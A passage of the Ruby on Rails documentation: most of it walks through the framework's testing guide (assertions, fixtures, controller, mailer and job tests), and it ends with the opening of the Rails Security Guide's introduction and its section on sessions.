To see how an error gets reported, here's a test containing an error:

test "should report error" do
# some_undefined_variable is not defined elsewhere in the test case
some_undefined_variable
assert true
end

Now you can see even more output in the console from running the tests:

$ bin/rails test test/models/article_test.rb
Run options: --seed 1808

# Running:

.E

Error:
ArticleTest#test_should_report_error:
NameError: undefined local variable or method `some_undefined_variable' for #<ArticleTest:0x007fee3aa71798>
test/models/article_test.rb:11:in `block in <class:ArticleTest>'

bin/rails test test/models/article_test.rb:9

Finished in 0.040609s, 49.2500 runs/s, 24.6250 assertions/s.

2 runs, 1 assertions, 0 failures, 1 errors, 0 skips

Notice the 'E' in the output. It denotes a test with error.

The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in random order. The config.active_support.test_order option can be used to configure test order.

When a test fails you are presented with the corresponding backtrace. By default Rails filters that backtrace and will only print lines relevant to your application. This eliminates the framework noise and helps to focus on your code. However there are situations when you want to see the full backtrace. Simply set the -b (or --backtrace) argument to enable this behavior:

$ bin/rails test -b test/models/article_test.rb

If we want this test to pass we can modify it to use assert_raises like so:

test "should report error" do
# some_undefined_variable is not defined elsewhere in the test case
assert_raises(NameError) do
some_undefined_variable
end
end

This test should now pass.

2.4 Available Assertions

By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.

Here's an extract of the assertions you can use with Minitest, the default testing library used by Rails. The [msg] parameter is an optional string message you can specify to make your test failure messages clearer.

Assertion

Purpose

assert( test, [msg] )

Ensures that test is true.

assert_not( test, [msg] )

Ensures that test is false.

assert_equal( expected, actual, [msg] )

Ensures that expected == actual is true.

assert_not_equal( expected, actual, [msg] )

Ensures that expected != actual is true.

assert_same( expected, actual, [msg] )

Ensures that expected.equal?(actual) is true.

assert_not_same( expected, actual, [msg] )

Ensures that expected.equal?(actual) is false.

assert_nil( obj, [msg] )

Ensures that obj.nil? is true.

assert_not_nil( obj, [msg] )

Ensures that obj.nil? is false.

assert_empty( obj, [msg] )

Ensures that obj is empty?.

assert_not_empty( obj, [msg] )

Ensures that obj is not empty?.

assert_match( regexp, string, [msg] )

Ensures that a string matches the regular expression.

assert_no_match( regexp, string, [msg] )

Ensures that a string doesn't match the regular expression.

assert_includes( collection, obj, [msg] )

Ensures that obj is in collection.

assert_not_includes( collection, obj, [msg] )

Ensures that obj is not in collection.

assert_in_delta( expected, actual, [delta], [msg] )

Ensures that the numbers expected and actual are within delta of each other.

assert_not_in_delta( expected, actual, [delta], [msg] )

Ensures that the numbers expected and actual are not within delta of each other.

assert_throws( symbol, [msg] ) { block }

Ensures that the given block throws the symbol.

assert_raises( exception1, exception2, ... ) { block }

Ensures that the given block raises one of the given exceptions.

assert_nothing_raised { block }

Ensures that the given block doesn't raise any exceptions.

assert_instance_of( class, obj, [msg] )

Ensures that obj is an instance of class.

assert_not_instance_of( class, obj, [msg] )

Ensures that obj is not an instance of class.

assert_kind_of( class, obj, [msg] )

Ensures that obj is an instance of class or is descending from it.

assert_not_kind_of( class, obj, [msg] )

Ensures that obj is not an instance of class and is not descending from it.

assert_respond_to( obj, symbol, [msg] )

Ensures that obj responds to symbol.

assert_not_respond_to( obj, symbol, [msg] )

Ensures that obj does not respond to symbol.

assert_operator( obj1, operator, [obj2], [msg] )

Ensures that obj1.operator(obj2) is true.

assert_not_operator( obj1, operator, [obj2], [msg] )

Ensures that obj1.operator(obj2) is false.

assert_predicate ( obj, predicate, [msg] )

Ensures that obj.predicate is true, e.g. assert_predicate str, :empty?

assert_not_predicate ( obj, predicate, [msg] )

Ensures that obj.predicate is false, e.g. assert_not_predicate str, :empty?

assert_send( array, [msg] )

Ensures that executing the method listed in array[1] on the object in array[0] with the parameters of array[2 and up] is true, e.g. assert_send [@user, :full_name, 'Sam Smith']. This one is weird eh?

flunk( [msg] )

Ensures failure. This is useful to explicitly mark a test that isn't finished yet.

The above are a subset of assertions that minitest supports. For an exhaustive & more up-to-date list, please check Minitest API documentation, specifically Minitest::Assertions.

Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier.

Creating your own assertions is an advanced topic that we won't cover in this tutorial.

2.5 Rails Specific Assertions

Rails adds some custom assertions of its own to the minitest framework:

Assertion

Purpose

assert_difference(expressions, difference = 1, message = nil) {...}

Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.

assert_no_difference(expressions, message = nil, &block)

Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.

assert_recognizes(expected_options, path, extras={}, message=nil)

Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.

assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)

Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.

assert_response(type, message = nil)

Asserts that the response comes with a specific status code. You can specify :success to indicate 200-299, :redirect to indicate 300-399, :missing to indicate 404, or :error to match the 500-599 range. You can also pass an explicit status number or its symbolic equivalent. For more information, see full list of status codes and how their mapping works.

assert_redirected_to(options = {}, message=nil)

Asserts that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that assert_redirected_to(controller: "weblog") will also match the redirection of redirect_to(controller: "weblog", action: "show") and so on. You can also pass named routes such as assert_redirected_to root_path and Active Record objects such as assert_redirected_to @article.

You'll see the usage of some of these assertions in the next chapter.

2.6 A Brief Note About Test Cases

All the basic assertions such as assert_equal defined in Minitest::Assertions are also available in the classes we use in our own test cases. In fact, Rails provides the following classes for you to inherit from:

- ActiveSupport::TestCase

- ActionMailer::TestCase

- ActionView::TestCase

- ActionDispatch::IntegrationTest

- ActiveJob::TestCase

Each of these classes include Minitest::Assertions, allowing us to use all of the basic assertions in our tests.

For more information on Minitest, refer to its documentation.

2.7 The Rails Test Runner

We can run all of our tests at once by using the bin/rails test command.

Or we can run a single test by passing the bin/rails test command the filename containing the test cases.

$ bin/rails test test/models/article_test.rb
Run options: --seed 1559

# Running:

..

Finished in 0.027034s, 73.9810 runs/s, 110.9715 assertions/s.

2 runs, 3 assertions, 0 failures, 0 errors, 0 skips

This will run all test methods from the test case.

You can also run a particular test method from the test case by providing the -n or --name flag and the test's method name.

$ bin/rails test test/models/article_test.rb -n test_the_truth
Run options: -n test_the_truth --seed 43583

# Running:

.

Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s.

1 tests, 1 assertions, 0 failures, 0 errors, 0 skips

You can also run a test at a specific line by providing the line number.

$ bin/rails test test/models/article_test.rb:6 # run specific test and line

You can also run an entire directory of tests by providing the path to the directory.

$ bin/rails test test/controllers # run all tests from specific directory

The test runner provides lot of other features too like failing fast, deferring test output at the end of test run and so on. Check the documentation of the test runner as follows:

$ bin/rails test -h
minitest options:
-h, --help                       Display this help.
-s, --seed SEED                  Sets random seed. Also via env. Eg: SEED=n rake
-v, --verbose                    Verbose. Show progress processing files.
-n, --name PATTERN               Filter run on /regexp/ or string.
--exclude PATTERN            Exclude /regexp/ or string from run.

Known extensions: rails, pride

Usage: bin/rails test [options] [files or directories]
You can run a single test by appending a line number to a filename:

bin/rails test test/models/user_test.rb:27

You can run multiple files and directories at the same time:

bin/rails test test/controllers test/integration/login_test.rb

By default test failures and errors are reported inline during a run.

Rails options:
-e, --environment ENV            Run tests in the ENV environment
-b, --backtrace                  Show the complete backtrace
-d, --defer-output               Output test failures and errors after the test run
-f, --fail-fast                  Abort test run on first failure or error
-c, --[no-]color                 Enable color in the output

3 The Test Database

Just about every Rails application interacts heavily with a database and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data.

By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in config/database.yml.

A dedicated test database allows you to set up and interact with test data in isolation. This way your tests can mangle test data with confidence, without worrying about the data in the development or production databases.

3.1 Maintaining the test database schema

In order to run your tests, your test database will need to have the current structure. The test helper checks whether your test database has any pending migrations. It will try to load your db/schema.rb or db/structure.sql into the test database. If migrations are still pending, an error will be raised. Usually this indicates that your schema is not fully migrated. Running the migrations against the development database (bin/rails db:migrate) will bring the schema up to date.

If there were modifications to existing migrations, the test database needs to be rebuilt. This can be done by executing bin/rails db:test:prepare.

3.2 The Low-Down on Fixtures

For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures. You can find comprehensive documentation in the Fixtures API documentation.

3.2.1 What Are Fixtures?

Fixtures is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and written in YAML. There is one file per model.

Fixtures are not designed to create every object that your tests need, and are best managed when only used for default data that can be applied to the common case.

You'll find fixtures under your test/fixtures directory. When you run rails generate model to create a new model, Rails automatically creates fixture stubs in this directory.

3.2.2 YAML

YAML-formatted fixtures are a human-friendly way to describe your sample data. These types of fixtures have the .yml file extension (as in users.yml).

Here's a sample YAML fixture file:

# lo & behold! I am a YAML comment!
david:
name: David Heinemeier Hansson
birthday: 1979-10-15
profession: Systems development

steve:
name: Steve Ross Kellock
birthday: 1974-09-27
profession: guy with keyboard

Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank line. You can place comments in a fixture file by using the # character in the first column.

If you are working with associations, you can simply define a reference node between two different fixtures. Here's an example with a belongs_to/has_many association:

# In fixtures/categories.yml
about:
name: About

# In fixtures/articles.yml
first:
title: Welcome to Rails!
body: Hello world!
category: about

Notice the category key of the first article found in fixtures/articles.yml has a value of about. This tells Rails to load the category about found in fixtures/categories.yml.

For associations to reference one another by name, you can use the fixture name instead of specifying the id: attribute on the associated fixtures. Rails will auto assign a primary key to be consistent between runs. For more information on this association behavior please read the Fixtures API documentation.

3.2.3 ERB'in It Up

ERB allows you to embed Ruby code within templates. The YAML fixture format is pre-processed with ERB when Rails loads fixtures. This allows you to use Ruby to help you generate some sample data. For example, the following code generates a thousand users:

<% 1000.times do |n| %>
user_<%= n %>:
username: <%= "user#{n}" %>
email: <%= "user#{n}@example.com" %>
<% end %>

3.2.4 Fixtures in Action

Rails automatically loads all fixtures from the test/fixtures directory by default. Loading involves three steps:

1. Remove any existing data from the table corresponding to the fixture

2. Load the fixture data into the table

3. Dump the fixture data into a method in case you want to access it directly

In order to remove existing data from the database, Rails tries to disable referential integrity triggers (like foreign keys and check constraints). If you are getting annoying permission errors on running tests, make sure the database user has privilege to disable these triggers in testing environment. (In PostgreSQL, only superusers can disable all triggers. Read more about PostgreSQL permissions here).

3.2.5 Fixtures are Active Record objects

Fixtures are instances of Active Record. As mentioned in point #3 above, you can access the object directly because it is automatically available as a method whose scope is local of the test case. For example:

# this will return the User object for the fixture named david
users(:david)

# this will return the property for david called id
users(:david).id

# one can also access methods available on the User class
david = users(:david)
david.call(david.partner)

To get multiple fixtures at once, you can pass in a list of fixture names. For example:

# this will return an array containing the fixtures david and steve
users(:david, :steve)

4 Model Testing

Model tests are used to test the various models of your application.

Rails model tests are stored under the test/models directory. Rails provides a generator to create a model test skeleton for you.

$ bin/rails generate test_unit:model article title:string body:text
create  test/models/article_test.rb
create  test/fixtures/articles.yml

Model tests don't have their own superclass like ActionMailer::TestCase instead they inherit from ActiveSupport::TestCase.

5 Integration Testing

Integration tests are used to test how various parts of your application interact. They are generally used to test important workflows within our application.

For creating Rails integration tests, we use the test/integration directory for our application. Rails provides a generator to create an integration test skeleton for us.

$ bin/rails generate integration_test user_flows
exists  test/integration/
create  test/integration/user_flows_test.rb

Here's what a freshly-generated integration test looks like:

require 'test_helper'

class UserFlowsTest < ActionDispatch::IntegrationTest
# test "the truth" do
#   assert true
# end
end

Here the test is inheriting from ActionDispatch::IntegrationTest. This makes some additional helpers available for us to use in our integration tests.

5.1 Helpers Available for Integration Tests

In addition to the standard testing helpers, inheriting from ActionDispatch::IntegrationTest comes with some additional helpers available when writing integration tests. Let's get briefly introduced to the three categories of helpers we get to choose from.

For dealing with the integration test runner, see ActionDispatch::Integration::Runner.

When performing requests, we will have ActionDispatch::Integration::RequestHelpers available for our use.

If we need to modify the session, or state of our integration test, take a look at ActionDispatch::Integration::Session to help.

5.2 Implementing an integration test

Let's add an integration test to our blog application. We'll start with a basic workflow of creating a new blog article, to verify that everything is working properly.

We'll start by generating our integration test skeleton:

$ bin/rails generate integration_test blog_flow

It should have created a test file placeholder for us. With the output of the previous command we should see:

invoke  test_unit
create    test/integration/blog_flow_test.rb

Now let's open that file and write our first assertion:

require 'test_helper'

class BlogFlowTest < ActionDispatch::IntegrationTest
test "can see the welcome page" do
get "/"
assert_select "h1", "Welcome#index"
end
end

We will take a look at assert_select to query the resulting HTML of a request in the "Testing Views" section below. It is used for testing the response of our request by asserting the presence of key HTML elements and their content.

When we visit our root path, we should see welcome/index.html.erb rendered for the view. So this assertion should pass.

5.2.1 Creating articles integration

How about testing our ability to create a new article in our blog and see the resulting article.

test "can create an article" do
get "/articles/new"
assert_response :success

post "/articles",
params: { article: { title: "can create", body: "article successfully." } }
assert_response :redirect
follow_redirect!
assert_response :success
assert_select "p", "Title:\n  can create"
end

Let's break this test down so we can understand it.

We start by calling the :new action on our Articles controller. This response should be successful.

After this we make a post request to the :create action of our Articles controller:

post "/articles",
params: { article: { title: "can create", body: "article successfully." } }
assert_response :redirect
follow_redirect!

The two lines following the request are to handle the redirect we setup when creating a new article.

Don't forget to call follow_redirect! if you plan to make subsequent requests after a redirect is made.

Finally we can assert that our response was successful and our new article is readable on the page.

5.2.2 Taking it further

We were able to successfully test a very small workflow for visiting our blog and creating a new article. If we wanted to take this further we could add tests for commenting, removing articles, or editing comments. Integration tests are a great place to experiment with all kinds of use-cases for our applications.

6 Functional Tests for Your Controllers

In Rails, testing the various actions of a controller is a form of writing functional tests. Remember your controllers handle the incoming web requests to your application and eventually respond with a rendered view. When writing functional tests, you are testing how your actions handle the requests and the expected result or response, in some cases an HTML view.

6.1 What to include in your Functional Tests

You should test for things such as:

- was the web request successful?

- was the user redirected to the right page?

- was the user successfully authenticated?

- was the correct object stored in the response template?

- was the appropriate message displayed to the user in the view?

The easiest way to see functional tests in action is to generate a controller using the scaffold generator:

$ bin/rails generate scaffold_controller article title:string body:text
...
create  app/controllers/articles_controller.rb
...
invoke  test_unit
create    test/controllers/articles_controller_test.rb
...

This will generate the controller code and tests for an Article resource. You can take a look at the file articles_controller_test.rb in the test/controllers directory.

If you already have a controller and just want to generate the test scaffold code for each of the seven default actions, you can use the following command:

$ bin/rails generate test_unit:scaffold article
...
invoke  test_unit
create test/controllers/articles_controller_test.rb
...

Let's take a look at one such test, test_should_get_index from the file articles_controller_test.rb.

# articles_controller_test.rb
class ArticlesControllerTest < ActionDispatch::IntegrationTest
test "should get index" do
get articles_url
assert_response :success
end
end

In the test_should_get_index test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that the right response body has been generated.

The get method kicks off the web request and populates the results into the @response. It can accept up to 6 arguments:

- The URI of the controller action you are requesting. This can be in the form of a string or a route helper (e.g. articles_url).

- params: option with a hash of request parameters to pass into the action (e.g. query string parameters or article variables).

- headers: for setting the headers that will be passed with the request.

- env: for customizing the request environment as needed.

- xhr: whether the request is Ajax request or not. Can be set to true for marking the request as Ajax.

- as: for encoding the request with different content type. Supports :json by default.

All of these keyword arguments are optional.

Example: Calling the :show action, passing an id of 12 as the params and setting HTTP_REFERER header:

get article_url, params: { id: 12 }, headers: { "HTTP_REFERER" => "http://example.com/home" }

Another example: Calling the :update action, passing an id of 12 as the params as an Ajax request.

patch article_url, params: { id: 12 }, xhr: true

If you try running test_should_create_article test from articles_controller_test.rb it will fail on account of the newly added model level validation and rightly so.

Let us modify test_should_create_article test in articles_controller_test.rb so that all our test pass:

test "should create article" do
assert_difference('Article.count') do
post articles_url, params: { article: { body: 'Rails is awesome!', title: 'Hello Rails' } }
end

assert_redirected_to article_path(Article.last)
end

Now you can try running all the tests and they should pass.

6.2 Available Request Types for Functional Tests

If you're familiar with the HTTP protocol, you'll know that get is a type of request. There are 6 request types supported in Rails functional tests:

- get

- post

- patch

- put

- head

- delete

All of request types have equivalent methods that you can use. In a typical C.R.U.D. application you'll be using get, post, put and delete more often.

Functional tests do not verify whether the specified request type is accepted by the action, we're more concerned with the result. Request tests exist for this use case to make your tests more purposeful.

6.3 Testing XHR (AJAX) requests

To test AJAX requests, you can specify the xhr: true option to get, post, patch, put, and delete methods. For example:

test "ajax request" do
article = articles(:one)
get article_url(article), xhr: true

assert_equal 'hello world', @response.body
assert_equal "text/javascript", @response.content_type
end

6.4 The Three Hashes of the Apocalypse

After a request has been made and processed, you will have 3 Hash objects ready for use:

- cookies - Any cookies that are set

- flash - Any objects living in the flash

- session - Any object living in session variables

As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name. For example:

flash["gordon"]               flash[:gordon]
session["shmession"]          session[:shmession]
cookies["are_good_for_u"]     cookies[:are_good_for_u]

6.5 Instance Variables Available

You also have access to three instance variables in your functional tests:

- @controller - The controller processing the request

- @request - The request object

- @response - The response object

6.6 Setting Headers and CGI variables

HTTP headers and CGI variables can be passed as headers:

# setting an HTTP Header
get articles_url, headers: "Content-Type" => "text/plain" # simulate the request with custom header

# setting a CGI variable
get articles_url, headers: "HTTP_REFERER" => "http://example.com/home" # simulate the request with custom env variable

6.7 Testing flash notices

If you remember from earlier, one of the Three Hashes of the Apocalypse was flash.

We want to add a flash message to our blog application whenever someone successfully creates a new Article.

Let's start by adding this assertion to our test_should_create_article test:

test "should create article" do
assert_difference('Article.count') do
post article_url, params: { article: { title: 'Some title' } }
end

assert_redirected_to article_path(Article.last)
assert_equal 'Article was successfully created.', flash[:notice]
end

If we run our test now, we should see a failure:

$ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
Run options: -n test_should_create_article --seed 32266

# Running:

F

Finished in 0.114870s, 8.7055 runs/s, 34.8220 assertions/s.

1) Failure:
ArticlesControllerTest#test_should_create_article [/test/controllers/articles_controller_test.rb:16]:
--- expected
+++ actual
@@ -1 +1 @@
-"Article was successfully created."
+nil

1 runs, 4 assertions, 1 failures, 0 errors, 0 skips

Let's implement the flash message now in our controller. Our :create action should now look like this:

def create
@article = Article.new(article_params)

if @article.save
flash[:notice] = 'Article was successfully created.'
redirect_to @article
else
render 'new'
end
end

Now if we run our tests, we should see it pass:

$ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
Run options: -n test_should_create_article --seed 18981

# Running:

.

Finished in 0.081972s, 12.1993 runs/s, 48.7972 assertions/s.

1 runs, 4 assertions, 0 failures, 0 errors, 0 skips

6.8 Putting it together

At this point our Articles controller tests the :index as well as :new and :create actions. What about dealing with existing data?

Let's write a test for the :show action:

test "should show article" do
article = articles(:one)
get article_url(article)
assert_response :success
end

Remember from our discussion earlier on fixtures, the articles() method will give us access to our Articles fixtures.

How about deleting an existing Article?

test "should destroy article" do
article = articles(:one)
assert_difference('Article.count', -1) do
delete article_url(article)
end

assert_redirected_to articles_path
end

We can also add a test for updating an existing Article.

test "should update article" do
article = articles(:one)

patch article_url(article), params: { article: { title: "updated" } }

assert_redirected_to article_path(article)
# Reload association to fetch updated data and assert that title is updated.
article.reload
assert_equal "updated", article.title
end

Notice we're starting to see some duplication in these three tests, they both access the same Article fixture data. We can D.R.Y. this up by using the setup and teardown methods provided by ActiveSupport::Callbacks.

Our test should now look something as what follows. Disregard the other tests for now, we're leaving them out for brevity.

require 'test_helper'

class ArticlesControllerTest < ActionDispatch::IntegrationTest
# called before every single test
setup do
@article = articles(:one)
end

# called after every single test
teardown do
# when controller is using cache it may be a good idea to reset it afterwards
Rails.cache.clear
end

test "should show article" do
# Reuse the @article instance variable from setup
get article_url(@article)
assert_response :success
end

test "should destroy article" do
assert_difference('Article.count', -1) do
delete article_url(@article)
end

assert_redirected_to articles_path
end

test "should update article" do
patch article_url(@article), params: { article: { title: "updated" } }

assert_redirected_to article_path(@article)
# Reload association to fetch updated data and assert that title is updated.
@article.reload
assert_equal "updated", @article.title
end
end

Similar to other callbacks in Rails, the setup and teardown methods can also be used by passing a block, lambda, or method name as a symbol to call.

6.9 Test helpers

To avoid code duplication, you can add your own test helpers. Sign in helper can be a good example:

#test/test_helper.rb

module SignInHelper
def sign_in_as(user)
post sign_in_url(email: user.email, password: user.password)
end
end

class ActionDispatch::IntegrationTest
include SignInHelper
end

require 'test_helper'

class ProfileControllerTest < ActionDispatch::IntegrationTest

test "should show profile" do
# helper is now reusable from any controller test case
sign_in_as users(:david)

get profile_url
assert_response :success
end
end

7 Testing Routes

Like everything else in your Rails application, you can test your routes.

If your application has complex routes, Rails provides a number of useful helpers to test them.

For more information on routing assertions available in Rails, see the API documentation for ActionDispatch::Assertions::RoutingAssertions.

8 Testing Views

Testing the response to your request by asserting the presence of key HTML elements and their content is a common way to test the views of your application. Like route tests, view tests reside in test/controllers/ or are part of controller tests. The assert_select method allows you to query HTML elements of the response by using a simple yet powerful syntax.

There are two forms of assert_select:

assert_select(selector, [equality], [message]) ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String) or an expression with substitution values.

assert_select(element, selector, [equality], [message]) ensures that the equality condition is met on all the selected elements through the selector starting from the element (instance of Nokogiri::XML::Node or Nokogiri::XML::NodeSet) and its descendants.

For example, you could verify the contents on the title element in your response with:

assert_select 'title', "Welcome to Rails Testing Guide"

You can also use nested assert_select blocks for deeper investigation.

In the following example, the inner assert_select for li.menu_item runs within the collection of elements selected by the outer block:

assert_select 'ul.navigation' do
assert_select 'li.menu_item'
end

A collection of selected elements may be iterated through so that assert_select may be called separately for each element.

For example if the response contains two ordered lists, each with four nested list elements then the following tests will both pass.

assert_select "ol" do |elements|
elements.each do |element|
assert_select element, "li", 4
end
end

assert_select "ol" do
assert_select "li", 8
end

This assertion is quite powerful. For more advanced usage, refer to its documentation.

8.1 Additional View-Based Assertions

There are more assertions that are primarily used in testing views:

Assertion

Purpose

assert_select_email

Allows you to make assertions on the body of an e-mail.

assert_select_encoded

Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.

css_select(selector) or css_select(element, selector)

Returns an array of all the elements selected by the selector. In the second variant it first matches the base element and tries to match the selector expression on any of its children. If there are no matches both variants return an empty array.

Here's an example of using assert_select_email:

assert_select_email do
assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
end

9 Testing Helpers

A helper is just a simple module where you can define methods which are available into your views.

In order to test helpers, all you need to do is check that the output of the helper method matches what you'd expect. Tests related to the helpers are located under the test/helpers directory.

Given we have the following helper:

module UserHelper
def link_to_user(user)
link_to "#{user.first_name} #{user.last_name}", user
end
end

We can test the output of this method like this:

class UserHelperTest < ActionView::TestCase
test "should return the user's full name" do
user = users(:david)

assert_dom_equal %{<a href="/user/#{user.id}">David Heinemeier Hansson</a>}, link_to_user(user)
end
end

Moreover, since the test class extends from ActionView::TestCase, you have access to Rails' helper methods such as link_to or pluralize.

10 Testing Your Mailers

Testing mailer classes requires some specific tools to do a thorough job.

10.1 Keeping the Postman in Check

Your mailer classes - like every other part of your Rails application - should be tested to ensure that they are working as expected.

The goals of testing your mailer classes are to ensure that:

- emails are being processed (created and sent)

- the email content is correct (subject, sender, body, etc)

- the right emails are being sent at the right times

10.1.1 From All Sides

There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture.) In the functional tests you don't so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.

10.2 Unit Testing

In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.

10.2.1 Revenge of the Fixtures

For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output should look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within test/fixtures directly corresponds to the name of the mailer. So, for a mailer named UserMailer, the fixtures should reside in test/fixtures/user_mailer directory.

When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator, you'll have to create those files yourself.

10.2.2 The Basic Test Case

Here's a unit test to test a mailer named UserMailer whose action invite is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an invite action.

require 'test_helper'

class UserMailerTest < ActionMailer::TestCase
test "invite" do
# Create the email and store it for further assertions
email = UserMailer.create_invite('me@example.com',
'friend@example.com', Time.now)

# Send the email, then test that it got queued
assert_emails 1 do
email.deliver_now
end

# Test the body of the sent email contains what we expect it to
assert_equal ['me@example.com'], email.from
assert_equal ['friend@example.com'], email.to
assert_equal 'You have been invited by me@example.com', email.subject
assert_equal read_fixture('invite').join, email.body.to_s
end
end

In the test we send the email and store the returned object in the email variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect. The helper read_fixture is used to read in the content from this file.

Here's the content of the invite fixture:

Hi friend@example.com,

You have been invited.

Cheers!

This is the right time to understand a little more about writing tests for your mailers. The line ActionMailer::Base.delivery_method = :test in config/environments/test.rb sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (ActionMailer::Base.deliveries).

The ActionMailer::Base.deliveries array is only reset automatically in ActionMailer::TestCase and ActionDispatch::IntegrationTest tests. If you want to have a clean slate outside these test cases, you can reset it manually with: ActionMailer::Base.deliveries.clear

10.3 Functional Testing

Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the invite friend operation is sending an email appropriately:

require 'test_helper'

class UserControllerTest < ActionDispatch::IntegrationTest
test "invite friend" do
assert_difference 'ActionMailer::Base.deliveries.size', +1 do
post invite_friend_url, params: { email: 'friend@example.com' }
end
invite_email = ActionMailer::Base.deliveries.last

assert_equal "You have been invited by me@example.com", invite_email.subject
assert_equal 'friend@example.com', invite_email.to[0]
assert_match(/Hi friend@example.com/, invite_email.body.to_s)
end
end

11 Testing Jobs

Since your custom jobs can be queued at different levels inside your application, you'll need to test both, the jobs themselves (their behavior when they get enqueued) and that other entities correctly enqueue them.

11.1 A Basic Test Case

By default, when you generate a job, an associated test will be generated as well under the test/jobs directory. Here's an example test with a billing job:

require 'test_helper'

class BillingJobTest < ActiveJob::TestCase
test 'that account is charged' do
BillingJob.perform_now(account, product)
assert account.reload.charged_for?(product)
end
end

This test is pretty simple and only asserts that the job get the work done as expected.

By default, ActiveJob::TestCase will set the queue adapter to :async so that your jobs are performed in an async fashion. It will also ensure that all previously performed and enqueued jobs are cleared before any test run so you can safely assume that no jobs have already been executed in the scope of each test.

11.2 Custom Assertions And Testing Jobs Inside Other Components

Active Job ships with a bunch of custom assertions that can be used to lessen the verbosity of tests. For a full list of available assertions, see the API documentation for ActiveJob::TestHelper.

It's a good practice to ensure that your jobs correctly get enqueued or performed wherever you invoke them (e.g. inside your controllers). This is precisely where the custom assertions provided by Active Job are pretty useful. For instance, within a model:

require 'test_helper'

class ProductTest < ActiveJob::TestCase
test 'billing job scheduling' do
assert_enqueued_with(job: BillingJob) do
product.charge(account)
end
end
end

12 Additional Testing Resources

12.1 Testing Time-Dependent Code

Rails provides built-in helper methods that enable you to assert that your time-sensitive code works as expected.

Here is an example using the travel_to helper:

# Lets say that a user is eligible for gifting a month after they register.
user = User.create(name: 'Gaurish', activation_date: Date.new(2004, 10, 24))
assert_not user.applicable_for_gifting?
travel_to Date.new(2004, 11, 24) do
assert_equal Date.new(2004, 10, 24), user.activation_date # inside the travel_to block `Date.current` is mocked
assert user.applicable_for_gifting?
end
assert_equal Date.new(2004, 10, 24), user.activation_date # The change was visible only inside the `travel_to` block.

Please see ActiveSupport::TimeHelpers API Documentation for in-depth information about the available time helpers.

Ruby on Rails Security Guide — Ruby on...

1 Introduction

Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem.

In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).

The Gartner Group, however, estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.

The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.

In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the Additional Resources chapter). It is done manually because that's how you find the nasty logical security problems.

2 Sessions

A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.

2.1 What are Sessions?

HTTP is a stateless protocol. Sessions make it stateful.

Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request. Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.

A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:

session[:user_id] = @current_user.id
User.find(session[:user_id])

2.2 Session id

The session id is a 32 byte long MD5 hash value.

